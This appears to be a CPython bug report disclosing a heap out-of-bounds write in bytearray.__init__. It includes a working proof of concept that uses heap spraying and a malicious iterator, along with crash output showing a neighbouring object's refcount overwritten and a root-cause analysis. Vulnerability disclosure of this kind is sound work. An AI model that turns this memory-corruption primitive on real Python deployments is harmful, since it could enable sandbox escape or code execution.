FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

bytearray.__init__ slow-path append ignores ob_start leading to linear heap OOB write · Issue #158928 · python/cpython · GitHub

Repository navigation

bytearray.__init__ slow-path append ignores ob_start leading to linear heap OOB write #158928

Description

Crash report

PoC

import sys

b = bytearray()
N, K = 400, 150            # offset K after front-shrink; alloc == N
VICTIMS = []
it = None

class EvilIter:
    def __iter__(self): return self
    def __next__(self):
        global b
        if not hasattr(self, "armed"):
            self.armed = True
            b += b'x' * N                        # size N, alloc N (major upsize)
            VICTIMS[:] = [bytes(N) for _ in range(200)]   # adjacent heap spray
            b[0:K] = b''                         # ob_start += K, quick-exit resize
            self.rc = [sys.getrefcount(v) for v in VICTIMS]
            return 0x41
        if len(b) > 448:
            raise StopIteration
        return 0x41                              # each byte lands further OOB

it = EvilIter()
b.__init__(it)
after = [sys.getrefcount(v) for v in VICTIMS]
bad = [i for i in range(len(VICTIMS)) if after[i] != it.rc[i]]
print("len(b)=%d __alloc__()=%d corrupted victims: %r"
      % (len(b), b.__alloc__(), bad[:4]))
if bad:
    print("victim[%d] refcount %d -> %#x  (OOB write proof)"
          % (bad[0], it.rc[bad[0]], after[bad[0]]))
    sys.stdout.flush()
    len(VICTIMS[bad[0]])                         # use smashed ob_type/ob_size
    print("no crash")

Output

$ python3 -X faulthandler main.py
len(b)=449 __alloc__()=489 corrupted victims: [1]
victim[1] refcount 2 -> 0x41414142  (OOB write proof)
Fatal Python error: Segmentation fault

Current thread 0x00007f0ba5586740 [python3.15] (most recent call first):
  File "<stdin>", line 33 in <module>

Current thread's C stack trace (most recent call first):
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at _Py_DumpStack+0x30 [0x4f0b80]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x59968b]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x5995de]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x3c050 [0x7f0ba52bd050]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1af309b]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1a2d33f]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1a72484]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at PyEval_EvalCode+0xa6 [0x1a72182]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1ac87bb]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c7184d]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c71767]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c712c6]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c6fc45]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at Py_RunMain+0x422 [0x1b8d062]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1b8cc1d]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1b8ca6e]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x2724a [0x7f0ba52a824a]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at __libc_start_main+0x85 [0x7f0ba52a8305]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at _start+0x29 [0x1be5437]

Root Cause

Objects/bytearrayobject.c:1117-1124: inline append tests only Py_SIZE(self)+1 < self->ob_alloc while both writes go through ob_start (= ob_bytes[offset+size]); the intended invariant is size + logical_offset <= alloc, which bytearray_resize_lock_held (:253) does check, proving the inline check is a bug.
The hostile state (offset >= 2, offset+size == ob_alloc) is reached by ordinary operations: major upsize (b += b'x'*N, alloc==size), then front-shrink (b[0:K]=b'' advances ob_start, minor-downsize quick exit). Thereafter the __init__ slow-path append loop writes each iterator byte further past the backing allocation (up to offset-1 bytes).

Versions Affected

Python 3.13+

CPython versions tested on:

3.15

Operating systems tested on:

Linux

Output from running 'python -VV' on the command line:

Python 3.15.0rc3 (main, Oct 3 2026, 01:07:55) [Clang 22.1.3 ]

Linked PRs

No activity

Activity on this issue will appear here.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

3.14bugs and security fixes3.15pre-release feature fixes, bugs and security fixesinterpreter-core(Objects, Python, Grammar, and Parser dirs)type-crashA hard crash of the interpreter, possibly with a core dump

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions


    Back | FazBrowse Home | New Git URL